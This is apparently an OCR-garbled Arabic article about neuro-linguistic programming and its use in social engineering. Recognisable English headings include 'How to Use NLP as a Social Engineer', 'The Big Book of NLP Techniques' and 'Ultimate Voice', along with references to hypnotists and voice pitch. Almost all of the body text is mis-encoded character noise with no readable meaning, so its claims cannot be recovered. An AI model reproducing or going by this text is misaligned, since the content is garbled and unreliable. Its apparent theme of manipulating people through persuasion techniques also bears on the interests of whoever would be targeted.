^I^VI j& jl£ 6^Ui U jil j tCjUa^Ull <jiaxJ iaia dul£ ^*J' ^Jiaj^xJ ^^a-JL (Uk) IxjJa j Jfl (j^J^ ^ 

:c> NLP Jl J j^' j^' diKj^a tdULjaVI ^^xj AiLjal V jU ajaIc U$iL£&l Uksu J*j <> j . NLP-51 J 

(djLjaljja!) C5 £joijjjj£ ^jill jjyjjflll ^ifljuolall jlSaVlj *ljVl o^su J JiUL jUal -1 

J -ilia j^j ^jjllLQ £a \ A^L^aJ (J^Lk IaUjoij^I ^^1^ A^AaaH ~3 
^)ajaj ^jl j;iC. ,<1 la±> talo (J^^ L_flJ^xJ ^l^j C-lau gall (j* t^LoLi ^lxll I^A ^jj NLP! -^^ ^—^O*^ * *° d/^ ^—^J^^ t^llxlj 

.(jotLuuUll JftJ La 

AjjLaJ 4_xjjojIj 4j^)Iai3l oi^ ujJ (jAiS 1 nj ^jo^> jjc. ^jjoaljj xi j ^IajUj j^jj^)^. ^^ic Aj^laill £>i& (JjjJjojIj dil jloj £Jjuj ^xj 

I^j Jali^VI u^Jd C5^^ j^*-J^ jUSajl I1a ^5^1 j tAjLjiaj ^isu 1 a^-Lq J£ jL^a j lajliala ISli^t (jj^llill li^ to j^l^ ^ 

! xi^j ^j-<J 1 ^ aj.vfi j Ijjoj 

I^J 4X-Jjjalll L_bal£3l J^f^ (.5^ tSALa^ JJC- jljl Uiajl ^Jj^Ujll ^jl JJC- ^^JaLuJj! ^5 ^LuJJ (JJjUll <ljl^Jj ^aixJl JjaLljli 4 JJ^I Ijl^joll 

Uui _^cll ^^J^ *^ L>^ CjlkL^all c5^>^ ^ (jJilaJl ^xj c flj£ CjUIc^ di^Ja j t^ja^lkl V djU^x-d ^a^flJ ^jiaxJl 

4jt>uaj ^aixll 11a A^& 11a j .Ujix-G jl LpLa jl jjJaVl ^ 1 jJU>n ^Jl ^ >^ J NLP -H C5^J^ M > ^' q ^ L>* U^J^^^ C5^] 

a\\ (JjJjojjUI (J^H ^i*Jl *^J^ , ^ 3 H .^-°^ll ojj>^>ll ^j-d IjljS ^5^)^.1 ^Uijojl ^1^1 ^-J (jjAxJjouJl ^jiaxJJ l^a. Uui tAjJjoJ 

.UjjjiJl^ NLP Jl ^ * ^ > t^jjjiiLj -1 

,Aj^x11I A-Uj^axJl <^-<i^)ill ^jAa! ^^^llxll ^L^jVI (J^J 6 l! J*** ^ JJ dul j -2 
jlfrail <J^*JI <^jJl j\ <A^aatl\ <J^xl3l <^jJl <J jJ^VI ^J^l ^-^jJ'j fi^l 1^ CfO*^ ^Haj^a^ll ^ 4juiqiti ^oj^JI 

^jxJ - 

ftjStilt l^JJ^^Jj CjLd jlx-xJl Jjiivjjj AjIaxj ^ j uaa> II jl^-aJI ^ajL ( flJ^j ^ it ^xJI ^Uaill j ^lxJI Jj^^j U» ^^-laxj 
<il jLaJlj j^xjoJI^ 4jU3lxij o^blj a i II L_fljUaj ^^JJ c^Jl - gaxJI jl^-^JI U»l m ^j^\ diUi jlx-<Jlj Cj|^)fiJl ^Ic^JjojI 

.jj^alll j 

^llxJI Ai^UJI j IIqjaILq C5 1c jijjj j Verbal dLiKll ajJ j Nonverbal u^^ <x-! I^j lu^ (^Jl <LjIa]| ^1 a^jj 

.jjj^Vl ^ Jxilxjll aLjoj j <xll! j t C5 l^WI 
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U3 J^C J 1 Lot (CjLaKllj jj-aj^J ^Ij^lj (J'Q" 1 ^ ^Vlj J^^lj JJ^^I) jIx-aJI ^llaJJ Jc 6j^L<Jl Jl £-^-JJ |4^4JJ 

Jj£ ujj <L Ja L»l ,U3 jic <J^.ta (J-osu Jll £laI^)JI <J£juij s-l j^.VI o3aj S- 5 j^j^l a J] ^ ^ cr^^ 

(Codes of Neurolinguistic Programming) <^a*il 4^*j^l cjLJaja ±. 

Aj^ajA] -Sailj J jVl < ; ££ll CjUIjI jll ^jqVill j ^AsLill AjcU^ 4iiA ci&j J j£/4_jJaja ^jc ajbc dial£ NLP 1970 J <^ 
qa ^ J 1 j^j" J. u ^ 4-£j*-^l ^-?^^>^l (J-^ J 4^aLoia3! I jL^alj ojJCj j^^a. Qj^« £ jll JJ^>-g .4-Jji-lll 4_iJj^a*J! 

4 j Usui tl Zjjjxlli 4-**o jdJI JjJ^, 4jjJajS/j j£ 

L-bujl jjisuj (jl t . fj^ll uj^-*^ l>* u' u' j^j^- uj^ W jj^ -1970 J y^Vl NLP J^*' J 

4j j^qj/ La Jc jj£I jllj "o^J^. <JjJaja/(jj3Ui" £^lj jjjlp Clip j^-j (jjjaiiilj ^£jj^J^. J-^^ .CllJ^Jl jj^slSI 

jjjajj 6 4 aJ jj£ili3l JaLajl Jc L-liilillj ;<iL 4j^aLaJI galll £Jjoi jlll ^ixjll filial _ italic VI l^A jjjajj l— lAaajuj 4il ^lau jl (j^akjuJl 

djli^ Estate) cjVUJI <jc AjjojLojVI faAlLJI Jc o^iu^JI ^LiJajill/jjjLall .^liJl j^f*^^ 11^ ^-jI^IsJI 

jjAj '{perceptual filters) c^^^ ^llj^V^ j^^j '{conscious/unconscious relationships) ^S^y^^ 
JjL J jj^m ^jUJI s^Uiix j pUVl NLP ^ ^UJI 6 1a ^xjj .AjjAill cjVUJI ^ij^jj «^Kr- ^VU 

I^A <9J^)Ja (JjJafllj .AjjujUIII A-LojLull NLP U*^^ '^'^^^ U>^^^ L>^ ^-.j-u'lu'V 1 ^^LixJl £yz ^jAslSI ^jjjJJ^J ^aJJ /o^J^. 

ajjojLojVI djUliai<Jr ! Sj^j J tilli . jJj^^ j j^j^ Turtles All the Way Down J!^U. ^ uj^^^ 

oL^jVI ^Lnii ^5 jLJl Jc ( . laj j^Ul J^* 3 ^ L^- J-^A^ ( ♦ 1 > J J^*^^ C-il^V ^jjlill/AjjJajill '&J& J 

4jjJa^)i3l &iA JjIjoij jLaJl ^5 jlaixJl Jc (jjjJ j AJixjl/^jiiAill <JL^JI ^5 jjjaui Jc Ul^l^ jmMl t^v^j q\ ( . i^jj ^nVI ^L^jVI 

, kill Cjljjisu (jlaj NLP A-iij^ Jl S^j^aJl 

^jl (j^J t * a J^ ^JJ ^ 4_ljJa^)i3!/(jjjli3! (Jjl^Jj ■ja-vlU i-^\<< ^^C-UlL^VI (J^Juj all ^.luLluVI jA I^A 

.^j^aJl (jjjUll ^AaJLujJ Jll Ajj^aill ^IjJl Jl ^HaJ ciljji ttillij ^Uall Jj3 .(jjj^VU l_ic.^Ij13 ^^h>n 

(Scripts in the New Corf^ %V^J%^^^^^1^ 

AjjslUI <^xi^)Jl ^hVimV ^l^JlsLxJl S^cLulaI Ajj^ill ^Lxil^)i3l ^ <C ^ jJjIaJ ^aJ tillil tA^jloui j£Laui J^ Jl (JjjUII 

AjUlSI J] j^a uJI jj Jc ^cLoaJ jll jl^aVI 4_LuLaj ^ ^jj^jLouJl J jkl * y ^ill ^lx»I^)JI d^A .I^jLoijIax* J A-a±> ^x]| 

A-Uj^ax]| <^jJl djUjaj J J^l^ L_jt!&3! ja. j-d NLP ^f^aill ^cxil jJl J ^AiaJl L-L&3I ^ ^J^xJl .6 j^.^<Jl 

Jll <^xJI ^>13l <^jJI ^U^iilji^lj LUul +200 :(The Big Book of NLP Techniques) 

Jl jj^ jll CA ^Ul^VI ^j-d 6^.1 j Jc <jL^.V1 cJ^-^- L>^ ^-ft^Jl J) ^cHaII (J^ajS cilj£ iA m ^ CjL^ jaLs jl L_fll^Al ^JjjA^JJ ^ 

iajjl ^jjia ^jJ-dl^xJI ^jjjuUll aJl^I Jasu tiljli jll <L^.LaJU ^Jj La£ tiL ^j^aLkll £t!L<J! ^jc CjUjL^jI ^-Uj fll^A VI ^Iti 

# 4_ijL^j| at-llA <iL (j^aLkl! ^cHaII 

Jc i^u ^jl (j^J A-if^xJl Ajjiill 4-^^)Jl ^jl <_£j1juj Ua *^jl jll CjUg jlx>Jl ^ja J^^l t — * J^ cJ^ J^ (^5^- J^l (J^*^ i^u du£ 131 
cilllA diUi jlx>Jl 6j3 j (j-G ^aC. jll Jc m A)U AjjslUI <^d^)Jl 4_jojI Aic CjljLaixJl j LI j jll ^ja ^jAslSI iklj ^jl aJ oLi^. 

-C5 cUu^.l ^jjj.V^ a£ ^axll 4_Jjsl11I 4-^xi^)Jl aIa^IjujI (j^J c flj£ tJljjaJl JjJ 

; Jj U» diLiiJajill £>3a ^j-d , Jlxill Jj^I jlill J o^iLd (^j <Jjii3l A-IAj gaaJI 4^xi^)Jl L_L^.L jll diLiiJajall (J^asu tilUA 
. j^.1 (j-a^Jj Jl diU jlx-d Jib (j-si^Jl ^ajL (JjjUII ^aAUill jl Jj^al jjll J ;l jjfe J<nVl J]| 4jIa1uiVI jA tiULufljl (j^LA -1 
^ajjflj Ui I J;l£ Jj^IjJJ ^kl (j^akjoJ l^L jJ (jl ^JJj llijoi <! <Jjou31j J*J ^A j diUi jls^ ^akjai tilU^S 

U' UJ^J^ c ~ Cfi UJ'\^J cl^^^ (jjjAaJiAH Til (JjSj Jj^I jlill A\\ac J AjJ jl>.a^ ^jli ^jjj <Jla L« lij <j| ^jLudjVI 
11a .^(g <^ll jA liLlc 4jqj^ j tiljjA^ ^jjouJI l^j jjuoij jll <L Jail Jj^I jlill A-Aac J .^^^1 (j-o ^jI^IjIj ^^Tn V f>g*nl jl>.a^ 
J - gaaJ cJj^l J^l ^^A 3 L)^ ^ ^^V^ L)^ ^ C5 3 ) ^^>^^ ( . lilaJJ 

.Ia^jjj Jll ajUI^VI Jc 
.J-ual jUl 4^1aP J ^AliUl f j^J d c_jUujI tilUA 
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LaC LaLaJ \ alia a (jj^J Li 3 aKj La (j^akjuj 4_iisu Lo Lite. 4-alla a (jj£j (jjS^IaJl CjLaKJl (Jjoiij ^iaJJ^all dj|^)±kll jl j-a Lulb |<Jj^l 

. jja Jail j&c a *\<W igk\£jol\ Jll L_£llkl t jinn qJliI 

c t j^j L£ tilli Jc. 

( . i^j (jjjjUJI jli Ajjilll Ajf^Jl J j "CjUKJI j* Jcl Cj jj^aj dj^jj JUaVl jl" ^LuJI Jiall JjL L£ j .AjIIj ^l£ll Jc 

. JlxiVI Jl £ j-all C_ iajL jl ( . (jlajlsu J jLjVI jj^ ^ 4j> Jc- jl 

j* .^ll*-ll <^A dbau] ^Jlxll jc tgj j-d^klaaj jll 4_nAill ^ LM jj jj^j^j jj liaJI jjL^alall ;4Jaji*J| (liuul ALjl^il -2 
<UajLa." ^^A S^)±aJl £>iAj .^JLlSI jc UjIj .^lt*-ll JL Vjl .CjLaKJl CjV jJAaJ S,JjAx1I lIiLjJjuiaJI jjj jj-aj jl (_£jjjjJall 

4 qj'q\ JLJLj ^Jlxll jc l^jS La.i jaj cJ^-*^ (jLaijj <J£ .^^-^ (j^>^ uj j* c allaj ^A j j^j" jl "^11*11 jc jLuajVI 

cIa j .AjS 4j^)±a. Jc j£l j ^Jt*-ll jc Ajlxjjoj La Jc $.Uj S^judLx C—fl j > <ajj V jLmjVli I.^A j jc La Ic jj A hl'W a 

^^a Li j ^JlxJI ^jl <! (j^j t ^ CP" 4 Sjj <qj jl jl AlLj^k jl ^jLudjVl j l^jtij ^^ic Jjj 

JxilL l^Jc Aii^JI 

dJLU! 

^jj^^JjolJ 4 alia a CjlsJ ^)J>J£jJ (jj^ll (JJjUll .l^J jl l^JLAJUdJ tlAl^)j ^LjujI (Jjlxul a iklLuJj CjLJ^ll _l^J (Jj ? ^ ^'^ 1 g J^Sj D^)fiJl 

^jjjLII kj > uj ^Jl ^jLuft l$J (jj^j > n ^LjoiVI £>1a (jc ^jli ajLi^. J j I^jlajuj j LaIj 

<jjou3L D^cliLd ^jLuft J-^^ cIjLaKJI (jj^i Li^jc j \u JL^jVI J <L^)iaj \ $f)\ t aj djLJ£JI o!a ^1,^1 ml ^j^LolLJI 

I^A t8>1 ^c^ 1 C?^J J 1 ^ V <9J^)iaJ La^jJaa J ^fl U^J^J L^Jl^j ^j!>L<isu a > li j JixJl . J - gaila 

jl j 4-jujLud^] ^iiiS J jJjJ (jLudjV! l^J J^L Jll Q\ ^g-isu I^A j .^Uaill (.\ ^L ^3 jJjJ <jLlujVI (J^I£1a1| ^Uailt 

tiLj^j 4jUr> j (^ikWl jj^qMl A-iLiO <j3 ^alij 6<! ja. LJ ^llj^VI 4j2 ^jj pic j ^jLlujVI .£>jj£ij 4^j£ J J^J^ ^Awo^. <ULa. 

11a jli ULc j .^LbLla CjIS jl J jl Lu* kj lgJ£ .^jUJI <il jLuJI j j] jj.uill) Aj^jo^JI A^nAill djLUu.iVI j a LLl ^xJI 

jl 4^ jl jAuiill AlilLa. jjjtIj Lijj !^lsLa <L^)]a jjjirlj S^jujU-o <L^)IaJ Loj Aij^ia Jjisu (jl ^iLalaaJ (jLoijVI (jl ftUx-ft 

4_1aAI liA J^^j (jl L-LujIj a\\ (j-«J .l^J C5^^ Aij^lall JJJ»*1J jcL.a^lj Ll^. jl jAuiill (jl (jLudjVI ^iLloaJ JlxJLj ^jjxjuJI 

.L^bl (jjjoi^jl ^^.iAill ^tjjajjiillj grj 1 gaill cJ^^I 
CjVL^JI jj£I <1 (jj£j / ^ill jj^aisJI (jla ;(jLudjVI ^Ui J Loj ^Ljfuj ^Ua3 ^1 J <il Jc uj^^^ ^ j£ CX3^ "5 

(jj£j ^ill AjaluuJt j . JjilauJI (j^ jll J!^U. j aJUJI <ii^i3l J C%j^\ J j 4^ ^IoiaII ^Lkj J j^L^I 

LjJ (j^- J .^aUaill 11a J ^£^JJ L_fl jjoj AjUjj^J J 1 t nj (jl (j^J jll (J^>Ia3l ^^C> J (_^l til jLuJl J <j J^>^^ ^>^^ 

dJLill I^JL a1 ^<A\ 11a j .(jjoi^l t*Ui (jl£ j5£l CjIjU^JI UK j CjIjL^ V (> j^. c5j^l ^jIjLj^ 
lijj ,4jjc. j>JI £uLnl! Jc (Jj^^j ^1^. <^ jLuJ (jLudjVI Sjj^jJa Jj j;!^ l^<JI I^a .HjLuj oLj^i l£^11j ^~ ^ 

(jl JtJJJ (jLudjVlj t^LaaJ (J-* 1 *^ V jl •^iSJ V P^^gjuj (j*G ^)^l ^(^^-^ L» Jj (Jj^aJ (^5^- A£> jLji JJ*J (jl 4_ilsLa JJ ^3 

.^aJVI 4-3 jLujVI Jc JJAJ J^ *^J^ L . ^ ' ' f ^ I^LujI J J.<U.>.>iJ 

lie. AliiaJl _L^jj^a!i3l till3 Aj3 Jj^aa. ^ilt (jLjoJl (jxi Li L^jj^aJ Jc ^laJ jl ( . la>J [uL^Ul J^J IajIJ A^JJ djluJl -6 

(j^>^ uj (_^l til jIjuj .IaIjj jll 4'qj'q^l £a (Jaljjj (jLaijVI (j-« hj (_^ill til jIjoJI j j^. (j-<i ^llxll (jc <j J^J^ Li ^^A (j^aLkjaiVI 

AjjjouII CjL£ jIjuoII .(j^*-* cJ^^ J l*iL ^>flxj e-^x lS^ .^^j j' ^'^^ ^ jIjuJI 11a jl£ ^1 jjoj t ajIac. (jc SjLc- ^a 

(JjjUII Jc ^xL^JJ .^>^.l ^-^J jl J 4_AJ^Li (jj^J V (JjjLII (J-<iC jll L_flj^)Jall (j>ijJa t flj£j 4jUr> ^1 jll J ^^A 

# tilli (jxi V (JJ^J 1 ^lia a^jlj£ jLoj (jxi Ij^jJJU (jlj tilli I (jl 

Jc hLaliclj ijilud^ll jl£ LI _4_Lai^ 4_jj t flj > gaj <J£ ^-Ijj ; bill uaII J j-ft jUa <j-uAl JIaj (jAljJ) *il jluJl -7 
.£>jHkj -Uli JjJaal IjLrk a! Li lilj .Ujb <AJ A^\lA\ CjIjU^JI JjJaaL ^jij <ila -uUl Jll djIjUkll j sUaJi J <LJall 

4-^<i^)jll ,tillil IsUJ ^£ jIjuj JJAJJ L_ a jjuoS tilli ^aJ J-a j /DjjlsLxi CjljLlk *L<iLil (jj^J (jl J»-^ 4ili Li (jLaijV Ljjuj l£ jLoj JJAJ (^^1 J 
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(jl £J-<Jl ^^ic ^5*^ .^jlj^S £ jjJa ^^ic (jj^kVI ^3 jl*JJ ^ajL (jl ^1 (jLaijVI (^^) JjU-uiJl UuA iiS^luill ^JJlJ 

.CjIj^II ^1 Jl Jj^aJ b T l iij 

qa2± Ia^Vi ^jlj j^L^Jl £>1a (j-a iifllmj j j I ^_^]| CjIjJlUI j£ I^L m u] I ^ SjaUaj ^lll jjl <n<il) dlHaj ^uUli -9 

SLiaJ! J ^jjjUll <jl ^A I^A 4_nsu U» ,^L^aj 4_a^_a3I oIa ^LaliV ^-^JJ^ ^ *SlJ*^ A-IAj ga«JI 4_^a^)i3l U3 ^^5Jj .^Jj ^Li^J 

<j j^llaj Lq J£ .J^LuuJI (ilti <J^J l£^>^ cJ^^j ^-^Vj ^ ^ C5^) f^G-^j' ^j^^ u*^ UJT^^J *^ A-lLiaJl 

,6 jjJalaJl 3Ja^Jll Jl IgJU J jj^a j]| jA <^l j^l > (j* S^lalaj!}U 

(jl ^ilaluj (^jji La UjJa Jaxj (jl (jl^V llA^ ^] i^SjjIa]) < SVlVl ^ <j£] J <jl J <j£-«-a 4$ ' ^IaSU L)' ^ "10 

4_iJj^ax]| A^-ajJl Igic i"u^ aJ ^31 ^LiIaslII ^ j "4^.1^1" i^^-ajoiJ I^A ^AaC ^31 4-AaxJI .(jLuiiVI I^A ^ cW' 

. JjVl 4_>>]]| 

(jt£ lili L» dL^j cilAliijl ^^Jj (j^lj (JjjUII a! JL L<» J] ^IujI jluJl CjLj jLlaJI <jjj^VI ^ CjLa j!xa1\ ^\ jj| J-uafll -\\ 

jLoj ^ £j-<J! djlia ^LoijVI djli ^jjjJ j&j .Cy*j^ Cy* <ia^J ^1 ^ 4_Jc laj jl jl ^^<J1 ^JjL U» j& til jLaJI 

^3 (jl . JJia jUal ^ U^J J^ 3 ) U^-^V^ L^J^ !^*^J^ cfe tiSUfe (J^J -13 

_^-\_^i]| ^J| ^Jj^lajl ^1^. 4^ jlui (j>i J;istJ (jl ^iflJjuixJl 11a ^^-Ix-S ^ U^J ^JLlaaII tilli ^1 

(How to Use NLP as a Social Engineer) ^Lu^l ^^-^ hjxll\ <jiAj u5j£ ^ 

(jl <ilj| (j-d ^C.^)ll (^^-Sc ,4JjUui J ujjJal lx a\\ ^aJjIill oL^J <J^^ ^ A)U <ax]| Aj^slUI 4-^^)ill ^5^U-<i j A-jj^aill ^l^)JI (j^ Jj^xJl 

-c ^cL<U^.I (jjj^i^£ gaaJl <J^iil! 4^xi^)ill ^^Lixi (jxi ^J^xJl a I I^JLujI <Lj (j^lj al^l (Jjj.V^ <ill ( ^ ' "jL>1 U al| ^Jjlill a I^ILujJ 

.6^JjJ ^ill (jjjiall ^ (JjjUII j!il CjI aKII jlii^.1 j 6<sl13I j ttilj jj^a aIa^ Unl 4_iil^ til<dy.j NLP 6 JllxJl J^f^ c^-^- 

(Vo/c^ m NLP ) lju<-«V jdl^ cjjj^JI s ju 

^\ AijjiJl _ SQLCjUUj ^ ja\ jVl (ji^J 4j^^jj| djUulsLill ^^h.n U£ UUj (JjjUII ^ ja\ jj\ JLzA tili jj^a ^hViml a\ 

jj£I IjjJj J jflj ULi^I .Aj^UJI Aj^I^JI J^l^ ^C.L^a ^ ^^J^' ^Ja^Jll .(ji^Jl 1^3 Cj^j (^lll ^ 5-UJjl J j5J 

j5j [j&a 4_iaA| 

CjUJu aI^J miU tilli j tLjajj .U^*^ ^'^-j 4 m ^ <LjiaJ JJ^aII c fl>^J| ^^Jc. J^UU AlajJa^ll ^dl jVl ^Ia^LujI ^^ic NLP 

; JllxJl J^f^ c^-^* .djLol£Jl tillj (^ic jj£jlill (^Cj^l (j^a^Jj Jac t . ujujj (jl (j£-<»J <L^aJl ^ CjIaKII (jiasu ^Li3 tilj jj^a 
4JaL^x»j <L^aJl a iklLaLj (^lll <Lj]a3l" ?l^ii (jl ^jjj Ja .l$J jSI (^jll ^UJiVI (jj^*^ ^ C5^^ j" -J* - iklLujJ IgJl c_1t.^>.» ^3 

# AjUl11 6^Ua (jUj I 1a cJ*-?^ c5^>^^ jULuj 

.(jjj^-VI ^ Lt^" (^1 Aijjlall JJAJ (jl (j^-GJ lA^. j Sjlg-xJ! (j^3 j '^Lill ^Wq^ll ^ 11a (jC ^3^^ 

(Sentence Structure) lU^I ^ 

^j^>-v *M l " \ j l ^ .^>-*l jl '(jLiJ 4(JIjjuj ^A (Jlij (jl^ 1^1 Ld ^gil ^jaJij A La^Jl AjI^-J ^3 

<!L^ ^ 41a^JI AjL&J ^ C1j jj^all cpaiaJ tdAiLnl! ^ aIa^JI 4jlg-j C5 la h 4_L^ C5 lc C5 1jj Cj jj^JI .aJIojVI Al\^ ^ <UaJI Ajlg-i 

.dj j^a ( Jj-43u) JjjVI (jjlil J-aliJl LaJI jl dip. c4^Jllil 4JJ1]| d\ jliil ;4Ja jaIa 

(jC ci-<^Jl ^ 4_iik j^l jl (jj^ajJaJ cilj£ > <LiaJl Ajt&j ^ jj^ ^9JJJjoj |^A ^J-d JIjjoj JLoiJ LdAic. |(jjj-<u3l I^A 

(j£-dJ c flj£ ia^.V .I^JjojjUuJ till AjjouIU <iaJjau3l ^dl jVl (J^axJ ^ .J-^?^^ L>^ J '^-L^Jl Ja j^A <jakj lA jjllsu (_3^^>ia 

J^b j^Vl (j^ 

diajll J j^i (jxuiaJJ (^illj 6 M tiL ^aUJl AAyd\ (, klaJj" IjA (j-ajJaJl ^Vl "? C5 jJaUJl ^^UJl ^ ^ AiJaj Cj^j t flj£ J^li" 

/ LilaJ j J;iC. (jl^. 6(il3i ^^ic Jlld ^A 11a /^Ixjoj jj£I dlS j ^1 

lie (jlaikia ^1 di jj^all ^^"^ ^ ^Aj^Ic A>Ju Jj^aJ ^1 t(jiaikl<i Cj jj^a ^ 1^13 I1a "jU^V AjljiJi ^jj L_fl ^jujj t(jVI J^<u>l" 

.^Ijill 

;<JlL<i 6^-L^jll djVl <lL^1 ^llaatj] c fljl^Jl ^)iC. (JjaHll ^l^)^.! ^> U^J^ A-icUu^.VI A ual^Jl ^)Iaj j (j^ 
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... "^A tiU SAUaJI J-uJ) .ojjjj> jjuj dUK *5tuJ| J£ ^jJaau JaJ BC5 jill j* ^jV jA I3a" 

V 4 > <al aJl d jj^II dLaxj (J^aik j £3j jlill jjoj <J^"^ (j&lj-a (J-^ ni j jJJJ V <^5^ AjLijJalt &J£J lljAaall jjjjLg .M-uijIaaJI 

Jlft jJ . jl^ 13} ; Jjill l_ja3j V .t*L <j^aUJI ^Ig-JI jLail tilij^a j-* jjjj* Ja^JI jjj^ .4lAaJI f LL ^fl Iji^ j £j£ 

jl ^ S^&LaaII 4jj Jj^all dLjjajli o3a f\ ikU iill£ aJ j£]j 4 Jaxj jl ^jVI " jVI c*L <j-aUJl ^jLkll J JJ^a jll ^gilad" 

C5 lc L^Uajl jj£I l-aj^JI jj£j 

j* 4jja3 <lLa> Ig^gWi ^jI! dLjajll 6 3a j j£*j .c*113 t . lllaJ Lojjc ciii^ja jjc (JjjUII £jL jl ^Kjj LaJJC £3 jjj V 

.(J^-jojI JJJJ L<* <^ c ' (J JJ^a^Jl (Jt 2U jl 1 g ll *i 

.4jj£j3l £>3a q\M *ja!3 jl*j .Ijj> CjIjjjIj l^J jjfL 6 jaj) 13} j (.Ultimate Voice j& j s- 5 

Z^Ll^yi ZjmJiijJI ^ Ultimate Voice f/j*^/Zdi£ 
j£-*j <jjL^ ^ j-^jVl (jj a - ^ ^^ic ftj^Slt .4jujjUuJI j* j^^l * ^-^j Ultimate Voice u*" £y 

^Uk^al j^jj jSaj t {4xlc qj± ^Ull jUil ^ >aljVl s Ultimate Voice .u^ 2 uj^ 

JI4 A jiVill ^i^luuj La Ulli (Hypnotists) o'^^^ j-LuA 

^Jc. tl^jL^A ^jjj CjUJ^II 4is«JI l_s jj^. ^^ic jll jj^jlill .^jjj j-ol ^1 ^ 2^ ^ & vfi* clA^ SjUc ^ uaUili ^5UJ! 13a 

M yooouurseeelf reelaaxiing". ^JUull 

o3a jUj} ^ JaxII l^l^klujl ^1 j^j^^ ^ ( http ://www.planetnlp.com ) ^nx^ixJI <^ jJI 

jVl . jj^j cilajl ^JI5 Jl* ^ jj dijlj &i\ j£ yl\ ."^Vl" J ja j c^jI ^ tdiw k^Jal dj^ua JSj) 

^j^aLkSI (jjdilil! ^^jjj C5 la k Li^jj^j j^q^ jj ^jl 6jjj3U ^xujjI 4 La. jliLi til^a ."ar" J j^j '^J^-c- ^jjjj IjjI .<iL Q^l^il jUaUl *t i^IL ut 

JjuoC (Jjj-gj3! liA JJ^ .<»— 3 JJ^ll 13a ^aJCJJ V (^5^- W^J^ *^^>f^^ 6 ^ ^ajujI '"oil" J J 6<jJaikixi dj jj^ 6 JJJJ IjjI 4^aJ 

.^aillj L-ftjVLj 3 laJ^ all 4^J>. jll ^Halo C _^A La tlAljj^a ^jlj (jl ( . 4^J^j^a (J^^ ^ J^ 3 ^Ij^JjojV .(ReSOIiate) 

;^Jj^3l 4_jujjL<ia1 ^jljajjla lilUA 

<a!£j 4^^JU l_lujLl<JI pitch ^ uj^ ^ j-^*^ j& (^^J - ^^ ^j^l j' S«^il) pitch ^ h 

"three" j '"two" '"one" '"now" OW^ Jj^ ^ ^ ! ^ "ready" ^ <^ "umm" 
13a j 4aj^J) j) Si^Jl) pitch ^ ^ .(dove)^ j ^— 1 J . J¥ ^V^> f ^ ^jujI ^j ^-aa 

. jJjkjl! JstjaiJ (jLj IjJJ L_fl jjoj t^jlij ^J^aJ ^lau^a cJ^^ dlLti 13} .4^. jll jl tilill JJ JJ (jlS i3} Ijj>. L-JJtj^a 

^jjojj j ciLuaijJ ciauuj tiaj^^lj ^jl L-Jjlj .oil <j) Cjjj>. j 13} .(JjIA jJJJ cilj* jj^ ^jl Jaj^^J £y ( . laj u . ull uiVI ojA ^IjjkjjajU ^jISj ^> >ij jju 

jjjj c aj£ ^ jj] 

.(jjjLajl! |j^_J ^aljill jJl ^ ^IflJ ^1 j^. ^JJ ^jjjud^j] <Lj]a (JjJaal 

^3 ^^Jjl^j jJJJ .(Jlc C_J JJ^J (j^akjuj Ld jaC Ul 4<JliL<J! (JjJjuj ^^ic .AjJ JJ^II 4jJflj]| DJA ^^ic SjIaJjoJl ^aixJ ^^^ic (iljcLaaJ ^jl (j^J <jujjUuJ| 
<jj jj^a ^JjjLdJJ ^Li^l .4_jujjL<ix» ^1 ^LLaJ t^a^ j tdl jj^all tdjUiijll *J ^J 111 ^ ^ ^uojIIj .J"^^ 11 O 1 ^^ 

.o3a dj jj^II (j^ajL^k ^^ic SjJaJjuaH ^^ic tiljcLaaJ o3a Jja A laJjuoJ 
tiljjj V ^n^J Ui^ C5^>?^ <j^LkJl <J>^lll Lpa^- ^3 JJ dlj£ j t^^Jlk jaI ^ jjj (jl jjjj ^^jII <L^JI CjjJ^jli jjc 

^ jL ^IjIUj jU^ LSjII jS aj\ Cjjj^ 13} .ULU Ijj^ c^IUa jU 4^J^ ^-a^Jl cil33J ^ j^UI Ajjjj lJ tcil33 cJ^Lk .cJj^SI 

.(jjSjjll 5J jU^ diSj ^1 jja tiljlajj^al j 

AjJa ^^Lua J-<^ 
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L_a^JI tiA (jjiiuit .aJIuiVI J j-^^jVI QiAjJai ^a J^a Ultimate Voice Jc J-oaJt CjIaj Lqaac ^ ^ ^ ^ (j* 

.(j-a jit Ixk AjudflJ AS tillilj CjAaJt aJjj jclAxJt 
A > .^1 ClaU^j jjc (j* jll ■^ a ^ 

J (jt^)?! ^* U ^J 4_nAilt 

.1^. SjfcLkl! cjW^I c> %90 JjW^ 60 J c? J 

. cJ^lauJI ^ V til jLoj j^i 

,6^>Jai3 <a£L^. ^g^a 1^. A-JliL<i ^-j^>^j (jn^^ll CjI jlaJI o!a oLlx-Q Ailk ^Ull j ^Uil djl jlui (Jjaa^. ^ > >>1 a\\ 

L-bail^ ^jljjajVt L_iia ^gi jA j ^jVt ^t ^ j^lj ^3 ^jJt t^u^ Jt jj V jA j ^-^kjlt tiUj j ^gic du£ j 1407 ^ u^j^ u^ 1 ^ >f ' 1 

.^jjji (jt Ajjt J JlSj ^liilt ^ jJt tdjUiAi^all ^jaixi <! t - j UJ ?t^A ^ j^at ^3 ?IAAJJJ ^gjlt ^Sl^ jj 

(j-d jit dla jaJLu^t U»Aic ^gjoat <_£^JJ ^ ^ j Aid 1 g J^lj tA^. 4i jalLd ^^A j 4 ■» ^1 ^ ^l^lt ClL dAIcj ^ Jj^jt j ui ;4JIa 
t^A 4-^t jj ^aJ V jt CjLdA^lt <!t jjj (JJ>^ *J ^-dLdt ^gjJaUJt ^JjstjJaJ (jjilt Ullc. ?a>^JJjuj c flj£ ^gjJaUJt ^IxJt ^ (J%*J <Ja^J3t (JjJ^*J V J 

.(JlixJt oAisu l^JLdt (j^lj a laailt (j^stJ l^jj - ^ l^JLdtj l^x»!^.tj jLoj ^gi 4_JliL<» dJt j U»j CikVt 

^jt Lit j ,h > ^n'i (jt Lot t^JL^. ^LSIolq j *Ga^ ajjj ^^^j AjjJaUi t^cU^ *UaL<it <L£Laui j 66^-tjj (^AxJt J jL ^gjJaUJt j^.t (j^>^ >*>i 

^5 t^ Al*Jt J/qlm^t tilk. Jlkt ^a^flJ UJ£ j Ailkj ^llalujJ ^JJJ^t Jiqun<ft\t j 4<J J;iA3t ^IjJU j Lg jJaLJ] jS^Vt t^Aliijt tt^LiL^I (j-G J JJJ 

cilli (Jjj^aj t_fljsu V (j^3 C—ll jloJ JjuoC- Asu (jj^J (jt AJJJ L_ fljsu ^lj^ ^jJa jt (JjSj 
